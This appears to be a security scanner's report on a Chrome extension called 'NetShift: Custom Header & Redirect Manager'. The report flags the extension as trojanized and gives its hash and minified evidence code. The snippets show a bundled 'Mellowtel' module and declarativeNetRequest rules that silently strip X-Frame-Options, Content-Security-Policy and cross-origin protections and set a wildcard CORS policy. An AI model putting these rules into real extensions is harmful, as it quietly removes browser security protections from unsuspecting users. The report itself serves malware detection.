NetShift: Custom Header & Redirect Manager 1.0.2
Trojanized extension with hidden payload
“NetShift is a lightweight browser extension that gives developers, tester, and power users full control over web requests. Easily modify…”
Chrome extension rewrites CORS and request-origin headers (security bypass)DeclarativeNetRequest rule removes an Origin-named header
SHA-2566422e78f9c9ab58d5774c44af795b8b4adc07c651112f3f70318dc9097063eaf
Evidence
1"use strict";var Mellowtel=(()=>{var Ho=Object.defineProperty;var Ry=Object.getOwnPropertyDescriptor;var ky=Object.getOwnPropertyNames;var Ny=Object.prototype.hasOwnProperty;var Po=(n,t)=>()=>(n&&(t=n(n=0)),t);var _y=(n,t)=>()=>(t||n((t={exports:{}}).exports,t),t.exports),Ro=(n,t)=>{for(var e in t)Ho(n,e,{get:t[e],enumerable:!0})},Ky=(n,t,e,A)=>{if(t&&typeof t=="object"||typeof t=="function")for(let r of ky(t))!Ny.call(n,r)&&r!==e&&Ho(n,r,{get:()=>t[r],enumerable:!(A=Ry(t,r))||A.enumerable});return n};var gu=n=>Ky(Ho({},"__esModule",{value:!0}),n);var Qu={};Ro(Qu,{default:()=>p0});var ko,Eu,KA,Fu,pu,Gy,Vy,Wy,jy,Xy,$y,zy,Yy,mu,Jy,Bu,Zy,qy,t0,e0,A0,No,r0,wu,n0,s0,yu,Cu,i0,o0,Go,_o,vu,a0,l0,c0,h0,u0,d0,f0,Ko,bu,g0,p0,Uu=Po(()=>{ko="https://speed.cloudflare.com",Eu={autoStart:!0,downloadApiUrl:`${ko}/__down`,uploadApiUrl:`${ko}/__up`,logMeasurementApiUrl:null,logAimApiUrl:"https://aim.cloudflare.com/__log",turnServerUri:"turn.speed.cloudflare.com:50000",turnServerCredsApiUrl:`${ko}/turn-creds`,turnServerUser:null,turnServerP …
1:4207… ;#f=0;#B=-1/0;#w=0;#m=0;#C=void 0;#F(n){n!==this.#c&&(this.#c=n,setTimeout(()=>this.#r(this.#c))),n||this.#C?.abort("setRunning(false)")}#y(n,t){let{bytes:e,dir:A}=this.#l[n],r=this.#p,s=r[A].hasOwnProp …
56:1026… A.fontSize=`calc(${this.#r}px * var(--total-scale-factor))`,A.color=this.color,e.replaceChildren();for(let r of this.#t.split(`
57`)){let s=document.createElement("div");s.append(r?document.createTextNode(r):document.createElement("br")),e.append(s)}return t.updateEdited({rect:this.getPDFRect(),popup:this._uiManager.hasCommentManager()||this.hasEditedComment?this.comment:{text:this.#t}}),e}resetAnnotationElement(t){super.resetAnnotationElement(t),t.resetEdited()}},dt=class{static PRECISION=1e-4;toSVGPath(){_t …
57:94035… t({intent:"disableXFrameHeaders",hostname:n,skipHeaders:t}).then(()=>{e(!0)}):(chrome.declarativeNetRequest.updateSessionRules({removeRuleIds:[A],addRules:[{id:A,priority:1,action:{type:"modifyHeaders",responseHeaders:[{header:"x-frame-options",operation:"remove"},{header:"content-security-policy",operation:"remove"},{header:"cross-origin-embedder-policy",operation:"remove"},{header:"cross-origin-opener-policy",operation:"remove"},{header:"cross-origi …
57:94544… t-security-policy-report-only",operation:"remove"}]},condition:{resourceTypes:["sub_frame"],urlFilter:"*://*/*"}}]}),e(!0))})}})}function Pl(n){return new Promise(function(t){let e=bf(n);tc().then(A=>{A?Pt({intent:"enableXFrameHeaders",hostname:n}).then(()=>{t(!0)}):(chrome.declarativeNetRequest.updateSessionRules({removeRuleIds:[e]}),t(!0))})})}function pC(){return new Promise(function(n){let t={id:80050,priority:1,action:{type:"modifyHeaders",requestHeaders:[{header:"Origin",operation:"remove"}],responseHeaders:[{header:"Access-Control-Allow-Origin",operation:"set",value:"*"},{header:"Access-Control-Allow-Methods",operation:"set",value:"GET, POST, PUT, DELETE, OPTIONS"},{header:"Access-Control-Allow-Headers",operation:"set",value:"Content-Type"}]},condition:{urlFilter:"*://*/*",resourceTypes:["image"]}};chrome.declarativeNetRequest.updateSessionRules({removeRuleIds:[80050],addRules:[t]},()=>{chrome.runtime.lastError?(F.log("Error adding rule:",chrome.runtime.lastError),n(!1)):(F.log("Rule added successfully"),n(!0))})}) …
Showing the top 5 files — 3 more files (16 regions) not shown.
No evidence locations were recorded for this file. Raw result